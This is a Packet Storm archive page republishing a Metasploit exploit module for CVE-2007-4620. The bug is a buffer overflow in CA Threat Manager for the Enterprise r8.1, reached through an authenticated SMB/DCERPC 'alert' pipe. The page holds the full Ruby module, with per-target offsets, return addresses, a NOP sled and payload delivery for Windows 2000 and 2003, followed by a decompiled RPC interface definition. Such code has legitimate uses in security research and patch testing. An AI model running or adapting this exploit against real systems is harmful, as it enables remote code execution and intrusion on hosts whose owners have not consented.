exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Computer Associates Alert Notification Buffer Overflow

Computer Associates Alert Notification Buffer Overflow
Posted Nov 26, 2009
Authored by MC | Site metasploit.com

This Metasploit module exploits a buffer overflow in Computer Associates Threat Manager for the Enterprise r8.1. By sending a specially crafted RPC request, an attacker could overflow the buffer and execute arbitrary code. In order to successfully exploit this vulnerability, you will need valid logon credentials to the target.

tags | exploit, overflow, arbitrary
advisories | CVE-2007-4620
SHA-256 | 776879bc32b72eec2c3e11ef19cb8be8c4690fdbfddde6a48862e2511318c831

Computer Associates Alert Notification Buffer Overflow

Change Mirror Download
##
# $Id: etrust_itm_alert.rb
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB

def initialize(info = {})
super(update_info(info,
'Name' => 'Computer Associates Alert Notification Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in Computer Associates Threat Manager for the Enterprise r8.1
By sending a specially crafted RPC request, an attacker could overflow the buffer and execute arbitrary code.
In order to successfully exploit this vulnerability, you will need valid logon credentials to the target.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2007-4620' ],
[ 'OSVDB', '44040' ],
[ 'BID', '28605' ],
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 550,
'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows 2003 SP0 English', { 'Offset' => 979, 'Ret' => 0x77e03efb } ],
[ 'Windows 2000 SP4 English', { 'Offset' => 979, 'Ret' => 0x7c30d043 } ],
[ 'CA BrightStor ARCServe Backup 11.5 / Windows 2000 SP4 English', { 'Offset' => 207, 'Ret' => 0x7c2e7993 } ], # Yin Dehui
],
'DisclosureDate' => 'Apr 4 2008',
'DefaultTarget' => 0))

register_options(
[
OptString.new('SMBPIPE', [ true, "The pipe name to use (alert)", 'alert']),
], self.class)

end

def exploit
connect()
smb_login()

handle = dcerpc_handle('3d742890-397c-11cf-9bf1-00805f88cb72', '1.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])
print_status("Binding to #{handle} ...")

dcerpc_bind(handle)
print_status("Bound to #{handle} ...")

filler = rand_text_english(target['Offset']) + [target.ret].pack('V') + make_nops(12)
filler << payload.encoded + rand_text_english(772)

sploit = NDR.string(rand_text_english(rand(1024) + 1) + "\x00") + NDR.string(filler + "\x00")
sploit << NDR.string(rand_text_english(rand(1024) + 1) + "\x00") + NDR.long(0)

print_status("Trying target #{target.name}...")

begin
dcerpc_call(0x00, sploit)
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
end

handler
disconnect
end

end

=begin
/*
* IDL code generated by mIDA v1.0.8
* Copyright (C) 2006, Tenable Network Security
* http://cgi.tenablesecurity.com/tenable/mida.php
*
*
* Decompilation information:
* RPC stub type: inline
*/

[
uuid(3d742890-397c-11cf-9bf1-00805f88cb72),
version(1.0)
]

interface mIDA_interface
{

typedef struct struct_1 {
long elem_1;
[size_is(10000), length_is(elem_1)] struct struct_2 * elem_2;
} struct_1 ;

typedef struct struct_2 {
char elem_1[52];
} struct_2 ;


/* opcode: 0x00, address: 0x00401000 */

long sub_401000 (
[in][ref][string] char * arg_1,
[out][ref] struct struct_1 * arg_2,
[in][ref][string] char * arg_3
);

}
=end
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    19 Files
  • 23
    Jul 23rd
    17 Files
  • 24
    Jul 24th
    47 Files
  • 25
    Jul 25th
    31 Files
  • 26
    Jul 26th
    13 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    27 Files
  • 30
    Jul 30th
    49 Files
  • 31
    Jul 31st
    29 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close